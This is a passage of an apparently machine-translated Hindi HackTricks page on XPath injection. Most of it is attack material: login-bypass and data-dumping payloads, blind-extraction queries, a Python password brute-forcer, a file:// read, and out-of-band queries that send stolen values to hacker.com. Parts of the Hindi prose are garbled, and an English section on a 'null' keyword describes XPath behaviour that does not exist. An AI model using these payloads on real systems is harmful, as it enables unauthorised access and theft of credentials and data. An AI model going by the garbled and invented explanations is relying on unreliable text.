36 KiB
XPATH अभिक्रिया
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष संग्रह NFTs
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का पालन करें**.
- अपने हैकिंग ट्रिक्स साझा करें, hacktricks repo और hacktricks-cloud repo में PR जमा करके
HackenProof सभी क्रिप्टो बग बाउंटी के लिए घर है।
देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी केवल तब शुरू होते हैं जब उनके ग्राहक इनाम बजट जमा करते हैं। बग सत्यापित होने के बाद आपको इनाम मिलेगा।
वेब3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! उनके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।
वेब3 हैकर लीजेंड बनें
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।
HackenProof पर साइन अप करें और अपने हैक्स से कमाई करें!
{% embed url="https://hackenproof.com/register" %}
मूल वाक्यांश
XPath Injection एक हमला तकनीक है जिसका उपयोग किया जाता है उपयोगकर्ता द्वारा प्रदान की गई इनपुट से XPath (XML पथ भाषा) क्वेरी का निर्माण करने वाले एप्लिकेशन को भंग करने के लिए या XML दस्तावेज़ों को क्वेरी या नेविगेट करने के लिए उपयोग करने के लिए किया जाता है।
क्वेरी कैसे बनाने के बारे में जानकारी: https://www.w3schools.com/xml/xpath_syntax.asp
नोड
अभिव्यक्ति | विवरण |
---|---|
नोडनाम | "नोडनाम" नाम के सभी नोड का चयन करता है |
/ | रूट नोड से चयन करता है |
// | वर्तमान नोड से दस्तावेज़ में सभी नोड का चयन करता है जो चयन से मेल खाते हैं, चाहे वे कहीं भी हों |
. | वर्तमान नोड का चयन करता है |
.. | वर्तमान नोड के माता-पिता का चयन करता है |
@ | विशेषताओं का चयन करता है |
उदाहरण:
पथ अभिव्यक्ति | परिणाम |
---|---|
पुस्तकालय | "पुस्तकालय" नाम के सभी नोड का चयन करता है |
/पुस्तकालय | रूट तत्व पुस्तकालय का चयन करता हैनोट: यदि पथ स्लैश (/) से शुरू होता है, तो यह हमेशा एक तत्व के लिए एक पूर्ण मार्ग का प्रतिनिधित्व करता है! |
पुस्तकालय/पुस्तक | पुस्तकालय के बच्चे होने वाले सभी पुस्तक तत्वों का चयन करता है |
//पुस्तक | दस्तावेज़ में कहीं भी होने वाले सभी पुस्तक तत्वों का चयन करता है |
पुस्तकालय//पुस्तक | पुस्तकालय तत्व के नीचे कहीं भी होने वाले सभी पुस्तक तत्वों का चयन करता है |
//@भाषा | "भाषा" नाम के सभी विशेषताओं का च |
उदाहरण:
पाथ व्यक्ति | परिणाम |
---|---|
/bookstore/* | बुकस्टोर तत्व के सभी चाइल्ड तत्व नोड का चयन करता है |
//* | दस्तावेज़ में सभी तत्वों का चयन करता है |
//title[@*] | कम से कम एक ऐसे प्रकार के किसी भी गुण के साथ सभी शीर्षक तत्वों का चयन करता है |
HackenProof सभी क्रिप्टो बग बाउंटी के लिए घर है।
देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी केवल तब शुरू होती है जब उनके ग्राहक पुरस्कार बजट जमा करते हैं। आपको पुरस्कार उस बग को सत्यापित करने के बाद मिलेगा।
Web3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! उनके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।
Web3 हैकर लीजेंड बनें
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।
HackenProof पर साइन अप करें और अपने हैक्स से कमाई करना शुरू करें!
{% embed url="https://hackenproof.com/register" %}
उदाहरण
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
जानकारी तक पहुंचें
XPath Injection के माध्यम से हम वेब ऐप्लिकेशन के डेटाबेस से जानकारी तक पहुंच सकते हैं। यह एक अद्यतित तकनीक है जिसका उपयोग करके हम XPath क्वेरी को अद्यतित करते हैं और ऐप्लिकेशन के डेटाबेस में संग्रहित जानकारी को प्राप्त करते हैं।
इसके लिए, हमें ऐप्लिकेशन के वेब फ़ॉर्म या पैरामीटर में एक अद्यतित XPath क्वेरी दर्ज करनी होगी। यदि ऐप्लिकेशन इस क्वेरी को संशोधित करके डेटाबेस के साथ अनुरोध भेजता है, तो हम उस क्वेरी को अद्यतित करके डेटाबेस से जानकारी प्राप्त कर सकते हैं।
इसके लिए, हमें कुछ टेस्ट क्वेरी प्रदान करनी होगी जो ऐप्लिकेशन द्वारा संशोधित नहीं की जाती है और हमें वापस संशोधित क्वेरी के परिणाम को देखने की अनुमति देती है। इसके बाद, हमें उस क्वेरी को अद्यतित करके डेटाबेस से जानकारी प्राप्त करने के लिए विभिन्न तकनीकों का उपयोग करना होगा।
ध्यान दें कि XPath Injection का उपयोग करने के लिए हमें ऐप्लिकेशन के संशोधित क्वेरी को अद्यतित करने की अनुमति मिलनी चाहिए। इसलिए, यह तकनीक केवल उन ऐप्लिकेशन्स पर काम करेगी जिनमें इस तरह की अनुमति होती है।
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
योजना की पहचान और चोरी
XPath injection allows an attacker to manipulate the XPath query used by a web application to extract data from an XML document. By injecting malicious input into the XPath query, an attacker can modify the query to retrieve sensitive information, such as the database schema.
XPath अभिक्रिया एक हमलावर को एक वेब एप्लिकेशन द्वारा उपयोग की जाने वाली XPath क्वेरी को मानिपुरेट करने की अनुमति देती है, जिससे XML दस्तावेज़ से डेटा निकाला जाता है। एक हमलावर मालिशियस इनपुट को XPath क्वेरी में इंजेक्ट करके, क्वेरी को संशोधित करके उसे संवेदनशील जानकारी, जैसे डेटाबेस योजना, को प्राप्त कर सकता है।
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
प्रमाणीकरण बाईपास
प्रश्नों का उदाहरण:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
उपयोगकर्ता और पासवर्ड में OR बाइपास (दोनों में समान मान)
If the application is vulnerable to XPath injection and the user and password fields are concatenated in the query, it is possible to bypass the login by injecting an XPath expression that evaluates to true. This can be achieved by providing the same value in both the user and password fields.
यदि एप्लिकेशन XPath अपवाद के प्रति संक्रमित है और उपयोगकर्ता और पासवर्ड फ़ील्ड को क्वेरी में जोड़ा जाता है, तो लॉगिन को बाइपास करना संभव है जो XPath अभिव्यक्ति को सत्य मानता है। इसे उपयोगकर्ता और पासवर्ड फ़ील्ड में एक ही मान प्रदान करके प्राप्त किया जा सकता है।
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
नल अभियांत्रिकी का दुरुपयोग
Null injection is a technique used in XPath injection attacks to bypass input validation and manipulate the XPath query. In XPath, the null value is represented by the null
keyword. By injecting a null value into the XPath query, an attacker can modify the query's logic and potentially extract sensitive information.
To abuse null injection, an attacker needs to identify a vulnerable input field that is used in an XPath query. The attacker can then append the null
keyword to the input value, causing the query to evaluate to true regardless of the original condition.
For example, consider the following vulnerable XPath query:
//users/user[name='admin' and password='input']
By injecting a null value into the password field, the attacker can bypass the password check and retrieve the information for the "admin" user:
//users/user[name='admin' and password=null]
It is important to note that null injection may not always work, as it depends on the specific implementation and validation of the XPath query. Additionally, null injection can be combined with other techniques, such as boolean-based blind injection, to further exploit the vulnerability.
To prevent null injection attacks, it is crucial to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for the presence of null values and applying appropriate filters or encoding techniques to mitigate the risk of injection attacks.
Username: ' or 1]%00
उपयोगकर्ता नाम या पासवर्ड में डबल OR (केवल 1 संकटग्रस्त फ़ील्ड के साथ मान्य है)
महत्वपूर्ण: ध्यान दें कि "और" पहली क्रिया है।
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
स्ट्रिंग निष्कर्षण
आउटपुट में स्ट्रिंग होती है और उपयोगकर्ता मानों को संशोधित करके खोज कर सकता है:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
अंधा उत्पादन
मान की लंबाई प्राप्त करें और तुलनाओं द्वारा इसे निकालें:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python उदाहरण
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
फ़ाइल पढ़ें
XPath इंजेक्शन एक वेब अनुप्रयोग के साथ एक आम सुरक्षा समस्या है जो एक हमलावर को वेब अनुप्रयोग के डेटाबेस के साथ संबंधित डेटा खोजने की अनुमति देता है। यह एक अनुप्रयोग के लिए उपयोग किया जाने वाला भाषा है जो XML डॉक्यूमेंट के भीतर डेटा को खोजने के लिए उपयोग की जाती है।
एक XPath इंजेक्शन हमला उस समय होता है जब एक अनुप्रयोग उपयोगकर्ता के द्वारा प्रदान किए गए इनपुट को निष्पादित करता है और उसे अपने XPath प्रश्न में सीधे शामिल करता है, बिना उसे संशोधित या सत्यापित किए बिना। इसके परिणामस्वरूप, हमलावर अपने इंजेक्शन प्रश्न के माध्यम से अनुप्रयोग के डेटाबेस के साथ संबंधित डेटा को अपने लाभ के लिए प्राप्त कर सकता है।
एक साधारण उदाहरण के रूप में, यदि एक अनुप्रयोग उपयोगकर्ता के द्वारा प्रदान किए गए इनपुट को उपयोग करता है और उसे अपने XPath प्रश्न में सीधे शामिल करता है, तो एक हमलावर इंजेक्शन प्रश्न के माध्यम से अनुप्रयोग के डेटाबेस के साथ संबंधित डेटा को प्राप्त कर सकता है।
इंजेक्शन को रोकने के लिए, उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सत्यापित करना चाहिए और उसे अपने XPath प्रश्न में सीधे शामिल करने से पहले संशोधित करना चाहिए। इसके अलावा, एक अनुप्रयोग को सुरक्षित रखने के लिए अन्य सुरक्षा उपायों का भी उपयोग किया जा सकता है, जैसे कि प्रमाणीकरण, अनुप्रयोग की संरचना में सुधार, और अनुप्रयोग के डेटाबेस तक पहुंच की सीमाओं का निर्धारण।
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB शोध
OOB शोध क्या है?
बाहरी शोध (Out-of-Band Exploitation) एक वेब अनुप्रयोग में एक विशेष प्रकार की अपवाद (विनाशकारी) टेक्निक है जिसमें एक हमलावर द्वारा निर्मित डेटा को बाहरी संसाधनों के माध्यम से भेजा जाता है। इस तकनीक का उपयोग करके, हमलावर अपने निर्मित डेटा को अपने नियंत्रण में रखता है और इसे बाहरी संसाधनों के माध्यम से अपने उद्देश्यों के लिए उपयोग करता है।
OOB शोध कैसे काम करता है?
एक OOB शोध हमला आमतौर पर निम्नलिखित चरणों का पालन करता है:
- एक अद्यतनीय वेब अनुप्रयोग में एक अपवाद बिंदु का खोज करें जहां XPath अभिव्यक्ति का उपयोग किया जाता है।
- अपवाद बिंदु को खोजने के बाद, हमलावर अपने निर्मित XPath अभिव्यक्ति को इस बिंदु में सम्मिलित करता है।
- अब, जब वेब अनुप्रयोग अपवाद बिंदु को प्रोसेस करता है, वह XPath अभिव्यक्ति को अपने अंतर्गत विशेष संसाधनों के माध्यम से भेजता है।
- हमलावर अपने निर्मित संसाधनों को मॉनिटर करता है और जब वेब अनुप्रयोग उन्हें अपने उद्देश्यों के लिए उपयोग करता है, तो उन्हें प्राप्त करता है।
OOB शोध के लाभ
बाहरी शोध का उपयोग करने के कुछ लाभ हैं:
- इसका उपयोग वेब अनुप्रयोगों में डेटा चोरी, उपयोगकर्ता अधिग्रहण और अन्य अपवादों के लिए किया जा सकता है।
- यह अनुप्रयोगों के लिए अद्यतनीय डेटा को प्राप्त करने की क्षमता प्रदान करता है, जो अनुप्रयोगों के लिए अत्यधिक महत्वपूर्ण हो सकता है।
- इसका उपयोग वेब अनुप्रयोगों के लिए अनुकरण और अनुकरण की जांच करने के लिए किया जा सकता है।
OOB शोध की प्रकार
बाहरी शोध के कुछ प्रमुख प्रकार हैं:
- बाहरी एक्सफ़ील्ट्रेशन (Out-of-Band Exfiltration): इसमें हमलावर डेटा को अपने निर्मित संसाधनों के माध्यम से बाहर भेजता है।
- बाहरी अधिग्रहण (Out-of-Band Retrieval): इसमें हमलावर डेटा को बाहरी संसाधनों के माध्यम से प्राप्त करता है।
- बाहरी अधिग्रहण और एक्सफ़ील्ट्रेशन (Out-of-Band Retrieval and Exfiltration): इसमें हमलावर डेटा को बाहरी संसाधनों के माध्यम से प्राप्त और भेजता है।
OOB शोध के उदाहरण
बाहरी शोध के कुछ उदाहरण हैं:
- एक अपवाद बिंदु के माध्यम से डेटाबेस के बाहर डेटा भेजना।
- एक अपवाद बिंदु के माध्यम से उपयोगकर्ता के कुकीज़ को चोरी करना।
- एक अपवाद बिंदु के माध्यम से वेब सर्वर के लिए अनुकरण और अनुकरण की जांच करना।
OOB शोध के निराकरण
बाहरी शोध के निराकरण के लिए कुछ सुरक्षा उपाय हैं:
- अपवाद बिंदुओं की सुरक्षा को सुनिश्चित करने के लिए वेब अनुप्रयोगों को सुरक्षित करें।
- अपवाद बिंदुओं की संख्या को कम करें और उन्हें संगठित रखें।
- अपवाद बिंदुओं को सतर्कता से जांचें और उन्हें नियमित रूप से स्कैन करें।
- बाहरी संसाधनों की सुरक्षा को सुनिश्चित करें और उन्हें नियमित रूप से मॉनिटर करें।
बाहरी शोध एक प्रभावी टेक्निक है जिसका उपयोग वेब अनुप्रयोगों के अपवादों को खोजने और उन्हें नियंत्रित करने के लिए किया जा सकता है। इसलिए, एक अच्छा पेंटेस्टर इस तकनीक के बारे में जागरूक होना चाहिए ताकि वह अपवादों को निराकरण कर सके और अनुप्रयोगों की सुरक्षा को सुनिश्चित कर सके।
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
स्वचालित उपकरण
{% embed url="https://xcat.readthedocs.io/" %}
संदर्भ
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
HackenProof क्रिप्टो बग बाउंटी का घर है।
देरी के बिना पुरस्कार प्राप्त करें
HackenProof बाउंटी केवल तब शुरू होती है जब उनके ग्राहक इनाम बजट जमा करते हैं। आपको इनाम उस बग के सत्यापित होने के बाद मिलेगा।
वेब3 पेंटेस्टिंग में अनुभव प्राप्त करें
ब्लॉकचेन प्रोटोकॉल और स्मार्ट कॉन्ट्रैक्ट्स नई इंटरनेट हैं! उनके उभरते दिनों में वेब3 सुरक्षा को मास्टर करें।
वेब3 हैकर लीजेंड बनें
प्रत्येक सत्यापित बग के साथ प्रतिष्ठा अंक प्राप्त करें और साप्ताहिक लीडरबोर्ड के शीर्ष पर विजयी बनें।
HackenProof पर साइन अप करें और अपने हैक्स से कमाई करें!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो? या क्या आपको PEASS की नवीनतम संस्करण देखना है या HackTricks को PDF में डाउनलोड करना है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का पालन करें**।**
- अपने हैकिंग ट्रिक्स को हमें PR के माध्यम से साझा करें hacktricks repo और hacktricks-cloud repo को सबमिट करके।